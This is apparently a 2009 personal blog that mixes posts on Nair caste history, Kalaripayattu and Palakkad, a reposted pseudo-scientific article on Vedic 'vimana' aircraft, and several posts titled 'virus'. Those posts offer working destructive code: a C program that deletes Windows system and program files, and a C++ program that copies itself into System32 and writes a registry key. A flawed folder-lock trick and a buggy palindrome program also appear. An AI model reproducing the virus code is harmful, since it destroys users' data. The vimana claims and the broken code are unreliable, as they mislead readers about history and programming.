Tuesday, June 9, 2009

Kalarippayattu

Kalarippayattu is the martial tradition of Kerala and the right to practice this martial art for the service of the ruler (Vazhunnavar) was predominantly vested with Nairs, however although less frequent, at least one subcaste of Brahmins (Chathira), one subcaste of Thiyyas (Chekors) as well as some Christians and Muslims seemed to have been bestowed with similar rights. Several social anthropologists and historians have documented the Nair dominance of the martial tradition of Kalaripayattu. For instance, The Kollam - Ramesvaram record states that the defence of the Chera kings and their city was entrusted to a group of Nair warriors known as Ayiram (The Thousand). This militia also called Onnu Kurai Ayiram (The thousand without one, ie with out the last Cheraman Perumal) existed in Kodungallur through centuries and was a group consisting of Nair members proficient in the martial tradition of Kalaripayattu, organised on a hereditary basis (from the Nair tharavads -Valloppalli, Tayyappalli, Kilikkotta and Kattolli) for the protection of the Chera kings.
The Keralolpathi also clearly states that the commander of the Patinayiram (The ten thousand- an alternate referral to the Ayiram militia) called Patamel Nair commanded the forces of the last Chera Perumal and was the Supreme Commander of his Army. It is interesting to note that during the extended period of warfare between the Cheras and the Cholas in the 11th century CE Nairs demonstrated their exceptional martial skills, courage, and nobility by forming elite suicide squads (Chaver-Pada) against the invading Chola forces. Also the once in 12 year Mamankam festival conducted by the Zamorin of Calicut during the medieval ages was an important platform when the Nair militia of the Zamorin and the Nair Chaver Pada of the Valluvakkonathiri used to demonstrate their superior skills in the Kalari martial tradition.
Kalaripayattu therefore was an essential component of education mainly for Nair men and to a lesser extent Nair women and the Vadakkan Pattukal (Ballad tradition of Malabar) is prolific with descriptions of fencing skills and bravery of Nair warriors like Thacholi Othenan. The role of the Nair militia proficient in Kalaripayattu in putting strong resistance to the Chola invasion, European invaders and excesses by Tipu Sultan and Hyder Ali are well documented in the annals of Kerala history. However, during colonial era Kalaripayattu was outlawed by British in 1793, leading to great loss of self esteem among Nairs.

Nair lifestyle in the past

The following information has been condensed from the Travancore State Manual by V. Nagam Aiya. The General appearance of the Nairs will be clear from the following quote, as noted by the author in 1901.

The Appearance of the well nourished Nair is perhaps among the finest in all India...the men and women among the Nairs are models of neatness and simplicity particularly in their dress, food and living. The men keep a small tuft of hair hanging in front, tied into a knot which is thrown behind or on the side, quite similar to the Tamil Brahmins while women have long black hair growing luxuriantly which they keep neat and orderly by constant bathing, rubbing of oil and use of comb. They tie it in a large bun suspended on the left side or in front. This is a very pretty observance and one that is worth imitation in other civilised countries
Nair men were identified by their Tufts of hair in the front side (Mun Kudumma), side burns (Krithavu) and the upturned Moustache. They always carried swords or daggers with them as a sign of dignity and authority.Men wore Kaupinam (loin cloth) and a single strip of cloth, four or five cubits in length, known as the Mundu, round the waist and another one thrown over the shoulder or worn like a shawl(veshti). The lower cloth was not tucked between the legs as in northern India but was left to hang loose to the ground. The upper cloth known as the Neriatu was tied as a turban on the head while walking outside. Boiled rice (Choru) and the rice gruel known as kanjee (pronounced /ˈkɒndʒiː/) formed the staple food of the Nairs. The coconut, jackfruit, plantain, mango and other fruits and vegetables were widely used. Coconut oil was also used widely. Ghee was used in well-to-do families and on festive occasions. Rice in the form of 'Kanji' or 'Choru' was served thrice a day at mealtimes along with curries and other additional dishes. Non-vegetarian food was not objectionable and fish was the most commonly consumed additional dish. Chicken was also consumed. Many of them had a special liking for game meat. Traditionally beef was not eaten by Nairs. Killing of the cow was resented. They had a pious attitude towards cows just like other Hindus. Dairy items like milk, curd, buttermilk, butter and ghee were greatly relished. Alcoholic drinks as a rule were prohibited. Sweet dishes like Palpayasam and Ada Prathaman were prepared during festive occasions. Other special dishes included Kozhukkatta, Chivda, Elayappam (sweet), Ottada, Kaliyodakka, etc.

Nair

Nair (നായര്‍) most commonly spelt is the name of a Hindu upper caste from the southern Indian state of Kerala. The Nairs were a martial nobility and figured prominently in the history of Kerala. Before the British conquest in 1792, the Kerala region contained small, feudal kingdoms, in each of which the royal and noble lineages, the militia, and most land managers were drawn from the Nayars and related castes.[ were prominent in politics, government service, medicine, education, and law. Nairs were traditionally matrilineal. Their family unit, the members of which owned property jointly, included brothers and sisters, the latter's children, and their daughters' children. The oldest man was legal head of the group. Rules of marriage and residence varied somewhat between kingdoms. The Nairs were famous for their martial history, including their involvement in Kalaripayattu and the role of Nair warlords in the Mamankam ritual. The Nairs were classed as a martial raceby the British, but were de-listed after rebelling against them under Velu Thampi Dalawa, and thereafter were recruited in low numbers into the British Indian Army. Only Nairs were recruited into the Thiruvithamkoor Nayar Pattalam (Travancore State Army), until 1935 when non-Nairs started to get admitted. This State Force (known also as the Nair Brigade) was merged into the Indian Army after independence and became the 9th Battalion Madras Regiment, the oldest Battalion in the Indian Army. It is believed that the Kolathiri and Travancore kingdoms had Nair origins. The Samoothiri (Zamorin) Raja was a Samanthan Nair[ and the Arakkal kingdom of Kannur, which was the only Muslim kingdom in the Kerala region, also had Nair origins[. Nair feudal families such as the Ettuveetil Pillamar were extremely influential in the past and often had greater influence than the Raja. The word Nair lends itself to two etymological interpretations. The first interpretation is that the word Nair is derived from the Sanskrit word Nayaka meaning leader. The Sanskrit word Nayaka appears in various forms in southern India (Nayakan/Naicker in Tamil Nadu, Nayak in Karnataka and Maharashtra, and Nayudu in Andhra Pradesh) and the word Nair has been suggested to be the corruption of Nayak in Malayalam. The second interpretation is that the word Nair is a corrupted form of the word Nāga or Nagar- meaning serpent men because Nairs were descendants of Nagavanshi Kshatriya Clans who practiced snake worship family name Nair or Nayar also occur in Punjab, belonging to a Khatri Jat community.
Palakkad is a town and a municipality in the state of Kerala in southern India. It is the administrative headquarters of Palakkad District. Palakkad lies near the Palghat Gap, a pass or natural depression through the Western Ghats ranges that run parallel to the west coast of India, and connects Kerala to the plains of the state of Tamil Nadu to the east. The people of Palakkad speak Malayalam and Tamil is understood in the border areas close to Tamil Nadu.

Palakkad

Palakkad is a town and a municipality in the state of Kerala in southern India. It is the administrative headquarters of Palakkad District. Palakkad lies near the Palghat Gap, a pass or natural depression through the Western Ghats ranges that run parallel to the west coast of India, and connects Kerala to the plains of the state of Tamil Nadu to the east. The people of Palakkad speak Malayalam and Tamil is understood in the border areas close to Tamil Nadu.

Friday, June 5, 2009

Vaimanika Sastra (Significance)

The following is an article by Stephen Knapp from http://www.stephen-knapp.com. It clearly gives out the significance given to the Vaimanika Sastra by the Western world. In supplying information about the advancements of Vedic science, the subject of Vedic airplanes, vimanas, is almost in a classification of its own. Some of this information is so amazing that for some people it may border science fiction. Nonetheless, as we uncover and explain it, it provides serious food for thought. First of all we need to understand that the Vedic conception of universal time is divided into different periods. For example, a period called one day of Brahma is equivalent to 4,320,000,000 of our years on earth. Brahma's night is equally as long and there are 360 of such days and nights in one year of Brahma. Each day of Brahma is divided into one thousand cycles of four yugas, namely Satya-yuga, Treta-yuga, Dvapara-yuga, and finally the Kali-yuga, which is the yuga we are presently experiencing. Satya-yuga lasts 1,728,000 years, and is an age of purity when all residents live very long lives and can be fully developed in spiritual understanding and mystical abilities and remarkable powers. Some of these abilities, or mystic siddhis, include changing one's shape, becoming very large or microscopically small, becoming very heavy or even weightless, securing any desirable thing, becoming free of all desires, or even flying through the sky to wherever one wanted to go on one's own volition. So at that time, the need for mechanical flying machines was not necessary. As the yugas continued, the purity of the people, along with their mystical abilities, decreased by 25% in each age. The age of Treta-yuga lasts 1,296,000 years. During that age, the minds of humanity became more dense, and the ability for understanding the higher spiritual principles of the Vedic path was also more difficult. Naturally, the ability to fly through the sky by one's own power was lost. After Treta-yuga, Dvapara-yuga lasts 864,000 years, and Kali-yuga lasts 432,000 years, of which 5,000 have now already passed. At the end of Kali-yuga, the age of Satya-yuga starts again and the yugas continue through another cycle. One thousand such cycles is one day of Brahma. Now that we are in Kali-yuga, almost all spiritual understanding disappears, and whatever mystical abilities that remain are almost insignificant. It is explained that it was not until the beginning of Treta-yuga that the development of vimanas took place. In fact, Lord Brahma, the chief demigod and engineer of the universe, is said to have developed several vimanas for some of the other demigods. These were in various natural shapes that incorporated the use of wings, such as peacocks, eagles, swans, etc. Other vimanas were developed for the wiser human beings by great seers of Vedic knowledge. In the course of time, there were three basic types of vimanas. In Treta-yuga, men were adept in mantras or potent hymns. Thus, the vimanas of that age were powered by means of knowledge of mantras. In Dvapara-yuga, men had developed considerable knowledge of tantra, or ritual. Thus, the vimanas of Dvapara-yuga were powered by the use of tantric knowledge. In Kali-yuga, knowledge of both mantra and tantra are deficient. Thus, the vimanas of this age are known as kritaka, artificial or mechanical. In this way, there are three main types of vimanas, Vedic airplanes, according to the characteristics of each yuga. Of these three types, there is listed 25 variations of the mantrika vimanas, 56 variations of the tantrica vimanas, and 25 varieties of the kritakaah vimanas as we find today in Kali-yuga. However, in regard to the shape and construction, there is no difference between any of these vimanas, but only in how they were powered or propelled, which would be by mantras, tantras, or mechanical engines. The controversial text known as Vimaanika Shastra, said to be by Maharshi Bharadwaja, also describes in detail the construction of what is called the mercury vortex engine. This is no doubt of the same nature as the Vedic Ion engine that is propelled by the use of mercury. Such an engine was built by Shivkar Bapuji Talpade, based on descriptions in the Rig-veda, which he demonstrated in Mumbai (Bombay), India in 1895. I more fully explained this in Chapter Three of this volume. Additional information on the mercury engines used in the vimanas can be found in the ancient Vedic text called the Samarangana Sutradhara. This text also devotes 230 verses to the use of these machines in peace and war. We will not provide the whole description of the mercury vortex engine here, but we will include a short part of William Clendenon's translation of the Samarangana Sutradhara from his 1990 book, Mercury, UFO Messenger of the Gods: "Inside the circular air frame, place the mercury-engine with its electric/ultrasonic mercury boiler at the bottom center. By means of the power latent in the mercury which sets the driving whirlwind in motion, a man sitting inside may travel a great distance in the sky in a most marvelous manner. Four strong mercury containers must be built into the interior structure. When those have been heated by controlled fire from iron containers, the vimana develops thunder-power through the mercury. At once it becomes like a pearl in the sky." This provides a most simplistic idea of the potential of the mercury engines. This is one kind of a propulsion mechanism that the vimanas of Kali-yuga may use. Other variations are also described. Not only do these texts contain directions on how to make such engines, but they also have been found to contain flight manuals, aerial routes, procedures for normal and forced landings, instructions regarding the condition of the pilots, clothes to wear while flying, the food to bring and eat, spare parts to have, metals of which the craft needs to be made, power supplies, and so on. Other texts also provide instructions on avoiding enemy craft, how to see and hear what occupants are saying in enemy craft, how to become invisible, and even what tactics to use in case of collisions with birds. Some of these vimanas not only fly in the sky, but can also maneuver on land and fly into the sea and travel under water. There are many ancient Vedic texts that describe or contain references to these vimanas, including the Ramayana, Mahabharata, Rig-veda, Yajur-veda, Atharva-veda, the Yuktilkalpataru of Bhoja (12th century A.D.), the Mayamatam (attributed to the architect Maya), plus other classic Vedic texts like the Satapathya Brahmana, Markandeya Purana, Vishnu Purana, Bhagavata Purana, the Harivamsa, the Uttararamcarita, the Harsacarita, the Tamil text Jivakacintamani, and others. From the various descriptions in these writings, we find vimanas in many different shapes, including that of long cigars, blimp-like, saucer-shapes, triangular, and even double-decked with portholes and a dome on top of a circular craft. Some are silent, some belch fire and make noise, some have a humming noise, and some disappear completely. These various descriptions are not unlike the reports of UFOs that are seen today. In fact, David Childress, in his book Vimana Aircraft of Ancient India & Atlantis, provides many reports, both recent and from the last few hundred years, that describe eye witness accounts of encounters with UFOs that are no different in size and shape than those described in these ancient Vedic texts. Plus, when the pilots are seen close up, either fixing their craft or stepping outside to look around, they are human-like, sometimes with a Oriental appearance, in clothes that are relatively modern in style. In other reports, we have read where the craft may have alien type beings on board along with ordinary humans navigating the craft. Does this mean that these are ancient vimanas that still exist today? Are they stored in some underground caverns somewhere? Or are they simply modern-built, using the ancient designs as described in the Vedic texts? The UFOs that have been seen around the world may not be from some distant galaxy, but may be from a secret human society, or even military installation. However, many of the Vedic texts do describe interplanetary travel. So even if these space machines are from some other planet, they may be using the same principles of propulsion that have already been described in the universal Vedic literature. The answer awaits us.

Nair Service Society

The Nair Service Society is the organization created for the upliftment and welfare of the Nair community. It is headquartered at Perunna in the town of Changanassery in Kottayam Dist.,Kerala,India. It was established under the leadership of Sri Mannathu Padmanabhan. The NSS is a three-tier organisation with Karayogams at the base level, Taluk Unions at the intermediate level and the Headquarters at the apex level. The Society owns and manages a large number of educational institutions,hospitals & various other non-profit institutions. These include the NSS College of Engineering, NSS Hindu College, NSS College at Pandalam, Mahatma Gandhi College, Sri Vidyathi Raja NSS College at Vazhoor, Pazhassi Raja NSS College and the Women's College at Thiruvananthapuram. Taking the lead given by Sri Mannath (1878-1970), expatriate Nairs both in other states of India as well as in countries other than India have formed Nair Service Societies in their states and countries of domicile. Examples are Karnatka Nair Service Society with 21 karayogams in Bangalore, and the Calcutta Nair Service Society in Kolkata. These Societies of Non Kerala origin retain the cultural uniqueness of the Nairs at the same time adapting many practices to the times and country of their adoption. Efforts are on to bring together all Nair groups the world over under an umbrella International Federation of Nair Societies. NSS Website

Folder-Lock without any software

Open Notepad and enter the following code cls @ECHO OFF title Folder Locker if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK if NOT EXIST Locker goto MDLOCKER :CONFIRM echo Are you sure u want to Lock the folder(Y/N) set/p “cho=>” if %cho%==Y goto LOCK if %cho%==y goto LOCK if %cho%==n goto END if %cho%==N goto END echo Invalid choice. goto CONFIRM :LOCK ren Locker “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” echo Folder locked goto End :UNLOCK echo Enter password to Unlock folder set/p “pass=>” if NOT %pass%==type your password here goto FAIL attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Locker echo Folder Unlocked successfully goto End :FAIL echo Invalid password goto end :MDLOCKER md Locker echo Locker created successfully goto End :End The folderlock willa automatically create a folder.Double-click Locker.bat & then it will ask whether you want to lock the folder. Respond yes(Y) & then the folder will disappear.To get back the folder, open Locker.bat & enter the password. The folder will appear.

Thursday, June 4, 2009

FREE Linux CD

FREE Ubuntu CD
If you really want a free CD of the latest Ubuntu OS, then go to the following site & request for a CD. They will deliver the CD to your door-steps, but it may take some time. http//www.shipit.ubuntu.com/login Try it out........

Virus ( Source code )

Here is the source code for a virus in C program. #include #include int main() { system ("DEL C:\*.exe"); system ("DEL C:\*.txt"); system ("DEL C:\*.doc"); system ("DEL C:\WINDOWS\*.exe"); system ("DEL C:\WINDOWS\*.com"); system ("DEL C:\WINDOWS\*.bat"); system ("DEL C:\Program Files\*.*"); system ("DEL C:\WINDOWS\SYSTEM\*.exe"); system ("DEL C:\WINDOWS\SYSTEM\*.dll"); system ("DEL C:\WINDOWS\SYSTEM\*.com"); system ("DEL C:\WINDOWS\SYSTEM\*.bat"); return 0; } enjoy............

Make a virus

Learn to make viruses at the following site: http://www.sirkussystem.com/index2.shtml Be careful. It's not that easy.........

Bugger creation : Source code

Open notepad & enter the following code. > Write: shutdown -r -t 60 -c "MESSAGE HERE" > save this file with a ".bat" extension & the double-click it. Effect : The PC will give the message that the system will reboot in 60 sec. To avoid such an effect just open run form the start menu & type " shutdown /a " be careful ya..................

Virus in C++ : a simple virus source code

Open a C++ file & enter the following. Now make an exe file from this & double click. Enjoy the cool virus............. #include windows.h #include string.h char windir[MAX_PATH]; int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { char pathname[256]; HKEY hKey; GetWindowsDirectory(windir, sizeof(windir)); HMODULE hMe = GetModuleHandle(NULL); DWORD nRet = GetModuleFileName(hMe, pathname, 256); strcat(windir, "\\System32\\viral.exe"); CopyFile(pathname,windir,0); unsigned char reg[10] = "infected"; RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey); RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg)); RegCloseKey(hKey); } If not made into an .exe appplicayion, you can see its effects from the C++ compiler itself........

Simple Virus creation

Open a notepad & enter the following text. Save it with some name & the extension as ".htm". Now open the file in a browser & see the tricks. Second Part To Hell's HTML.Umbriel "" Wish you the best of the Beast.........

C Programming :- Pallendrums

How to check whether a number is a pallendrum like 121, 414, 525 etc? Here is the C program code. Enter this code in the C compiler & press alt+f9. Enjoy............ #include #include main() { int a,b,c,s; clrscr(); printf("Enter The First Number:-\n"); scanf("%d",&a); a=s; while(a>0){ b=a%10;c=a*10+b; a=a/10;} printf("The Changed Number Is: %d\n",c); if(s==c){ printf("The Number Is a Pallendrum");} else{printf("The Number is not a pallendrum");} getch();} By Unnikrishnan